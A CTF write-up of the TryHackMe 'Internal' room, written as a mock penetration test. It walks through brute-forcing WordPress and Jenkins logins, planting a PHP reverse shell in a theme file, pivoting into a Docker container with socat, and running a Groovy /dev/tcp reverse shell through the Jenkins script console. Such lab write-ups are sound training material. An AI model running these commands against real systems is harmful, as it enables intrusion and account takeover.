‘Internal’ TryHackMe Writeup

Shrike InfoSec

2021-11-18T16:31:10.000

Contents

Note - In the spirit of TryHackMe, I will not be revealing any flags on this write-up. Please enjoy the content as provided and find the flags yourself. Happy hunting!

So, as part of my first ‘mock’ engagement on TryHackMe, I went with the ‘Internal’ room. The idea of these rooms are to act as if it is an actual penetration test, including the scope, enumeration summaries as well as potential remediation.

1 The Scope

The client requests that an engineer conducts an external, web app, and internal assessment of the provided virtual environment. The client has asked that minimal information be provided about the assessment, wanting the engagement conducted from the eyes of a malicious actor (black box penetration test). The client has asked that you secure two flags (no location provided) as proof of exploitation:

- `User.txt`
- `Root.txt`

Additionally, the client has provided the following scope allowances:

- Ensure that you modify your hosts file to reflect `internal.thm`
- Any tools or techniques are permitted in this engagement
- Locate and note all vulnerabilities found
- Submit the flags discovered to the dashboard
- Only the IP address assigned to your machine is in scope

Target - `internal.thm`

2 Executive Summary

As requested by the client, a penetration test was enacted in order to verify whether the server in question is adequately secured. While conducting this penetration test, the following was found:

- 2 identified risks which are acceptable risks, but should be monitored.
- 2 identified risks that can be mitigated by suggested password security practices.

3 Vulnerability and Exploitation Assessment

After receiving the specified target, the following steps were carried out:

- Reconnaissance against the target machine
- Collecting information used to launch the initial attack.

Once this information was collected, a vulnerability assessment was running using `nmap` and `metasploit`. These tools reported the following vulnerabilities:

- An `ssh` server running on the default port `22` that is exposed to the internet and accepts password authentication.
- An `apache2` web server running on default port `80` that is exposed to the internet.
- Easily brute-forcable passwords for service accounts.
- Credentials being saved to text files within the file system.
- IP addresses for running services saved to text files within the file system.

The primary attack vectors were identified as the WordPress service running on port `80`, and the ssh server running on port `22`.

After examining the system in question, approximately 4 risks were found and need to be addressed in order to keep the company secure. Attached below are the specific steps used in order to enumerate and exploit the identified vulnerabilities.

4 Remediation Suggestions

In order to secure the server, the following suggestions are made:

- Change the default ssh port to a non-standard port to prevent automated attacks on this service.
- Update all services to the latest versions to avoid known vulnerabilities.
- Ensure all passwords are stored securely, such as using a password manager. Credentials should not be saved in plaintext on the file system directly.

4.1 Enumeration Phase

4.1.1 nmap Scan

The first step is the classic `nmap` scan. This immediately provides us with some potentially useful information, most notably that there is a running `ssh` server as well as a web server on port `80`.

```
Not shown: 998 closed ports
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3
80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))
MAC Address: 02:7F:7A:B8:9D:37 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

4.1.2 Web Server

Now that we know about a web server, the best thing to do is check out that page. Navigating to the domain provides us with a default Apache2 landing page. There is very little other information to go on at this point, so it's best to do a directory enumeration. My go-to tool for this is `gobuster`.

4.1.3 Web Server Enumeration

Our `gobuster` scan reveals the following directories:

```
/blog (Status: 301)
/wordpress (Status: 301)
/javascript (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
```

We'll keep these directories in mind, and we'll come back to them later. For now, let's take a look at the SSH server for now to see what else we can find.

4.1.4 SSH

As discovered during our `nmap` scan, The version of OpenSSH running (7.6p1) appears to be vulnerable to username enumeration. Given that we are able to use any tools we like during this engagement, I opted to use `metasploit` to scan for vulnerabilities. In this case, I will use `metasploit` to enumerate potential usernames for the ssh server.

```
msf > use auxiliary/scanner/ssh/ssh_enumusers
msf auxiliary(ssh_enumusers) > show options
    set options...
msf auxiliary(ssh_enumusers) > run
```

Using this scanner, we get:

```
- root
- admin
- test
- guest
- info
- adm
- mysql
- user
- administrator
- oracle
- ftp
- pi
- puppet
- ansible
- ec2-user
- vagrant
- azureuser
```

4.1.5 WordPress Enumeration

As you may have noticed from our previous directory scan, we can see there is a `/wordpress` directory. A quick check of the WordPress version using `wpscan`, which is a great tool for WordPress enumeration.

Running the tool with `wpscan --url internal.thm` provides us with the version of WordPress that's being run, which in this case is `5.4.2`.

Looking up this version shows that it may be potentially vulnerable to XSS, but we'll not be using that for this engagement.

Now we've got a decent chunk of information to work with, so let's start the exploitation phase.

4.2 Exploitation Phase

4.2.1 WordPress Brute-Force

The first thing we'll try is a standard brute-force attack against the WordPress installation using our friend `wpscan`. The first thing to try is enumerating the username for the installation. We can use the list of usernames we previously found for the SSH server to see if there are any matches.

`wpscan --url internal.thm/wordpress -e userlist.txt` will scan for potential usernames.

In our case, this reveals the `admin` username as being valid. Next, we can use this username to brute force the WP login page.

```
wpscan --url internal.thm/wordpress/wp-login -e admin -passwords
rockyou.txt
```

This will give us access to WordPress and reveal the password to us.

As part of the above `wpscan` we can also identify if there are any potentially vulnerable themes/plugins installed. In this case, the installation is pretty basic, and doesn't feature anything obvious.

4.2.2 WordPress Reverse Shell

One of my favourite tricks with WordPress is to hijack the theme editor to inject a PHP reverse shell. Using a PHP reverse shell payload that is already included on Kali, I replaced the `sidebar.php` file with my reverse shell payload.

Running a listener on my attacking machine using `rlwrap nc -lvnp 4444` I can listen to any incoming connections. Loading any of the main WordPress site's pages will give me a reverse shell as `www-data`.

4.2.3 Exploring the Target Machine

Looking through the folders, we can see that the home directory contains a user `aubreanna`, but we don't have permission to `cd` into that directory.

The downside with our current reverse shell is that it's very basic, and not very easy to work with. As such, I decided to switch to a meterpreter shell to make use of a better interface. I created a PHP payload with `msfvenom` and used that to create the shell.

Once the shell was establish, I used meterpreter's ability to upload files to put `linenum.sh` onto the target machine for enumeration.

Running the script, we are made aware of a number of interesting titbits of information, but the one that stands out is Docker. From our enumeration, we can see that it is `Docker v 19.03.6`. This is definitely an interesting thing to see considering this server has been for the most part bare bones.

`linenum` also reveals that there is a `root` user that has logged in recently and that `netcat` is installed on the system.

There are some backups to be found in `/var/backups`, but we don't have permission to access these files.

Exploring the file system further, we find that the `/opt` directory contains a file called `/wp-save.txt`. Inside this file are the credentials for the user we discovered previously; `aubreanna`.

Switching to that user, we can obtain the `User.txt` flag from the user's home directory.

Within the home directory is a `jenkins.txt` file showing that Jenkins is running on `172.17.0.2:8080` (meaning it's running inside the docker container we found earlier). As it's running within an isolated Docker container, we'll need to route the traffic from the host, so we can actually see what's there.

Using a basic python `http.server` module, we can drop `socat` onto the target machine and then use that to allow us to view the dockerised Jenkins page.

We now can navigate to the Jenkins page from our attacking machine using a localhost IP address. Now, we need to attack the Jenkins page.

4.2.4 Jenkins Brute-Force

I opted to brute force Jenkins login with `hydra`. Hydra has support for login forms using the `http-post-form` option. In order for this to work, the headers for a login attempt need to be passed to Hydra. By sending a normal login attempt and checking the headers, we can determine what needs to be filled in. Then, we can run the following `hydra` command to brute-force the login.

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt http-post-form
↪  "/j_acegi_security_check:j_username=admin&j_password=admin&from=%2F&Submit=Sign+in:Invalid
↪  username or password.
```

After running the command, `hydra` successfully reveals the Jenkins login password.

4.2.5 Jenkins Exploitation

Once we've logged in to Jenkins, we can use the script console that is built-in to get a root shell. By navigating to the Admin panel and loading the script console, we can provide a specific command to get a simple TCP reverse shell running.

```
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.54.151/5555;cat
↪  <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
```

This gives us the Jenkins user, which we can use to poke around the file system a bit more.

4.2.6 Root Access

Looking in `/opt` again, we find the password for the root user in another text file. SSH'ing into this user gives us the `/root` directory access, which contains the root flag text file.

5 Conclusion

This was a really fun challenge, and definitely required me to flex my brain a lot. I picked up a lot of new tricks to use when evaluating web services, and look forward to putting them to good use.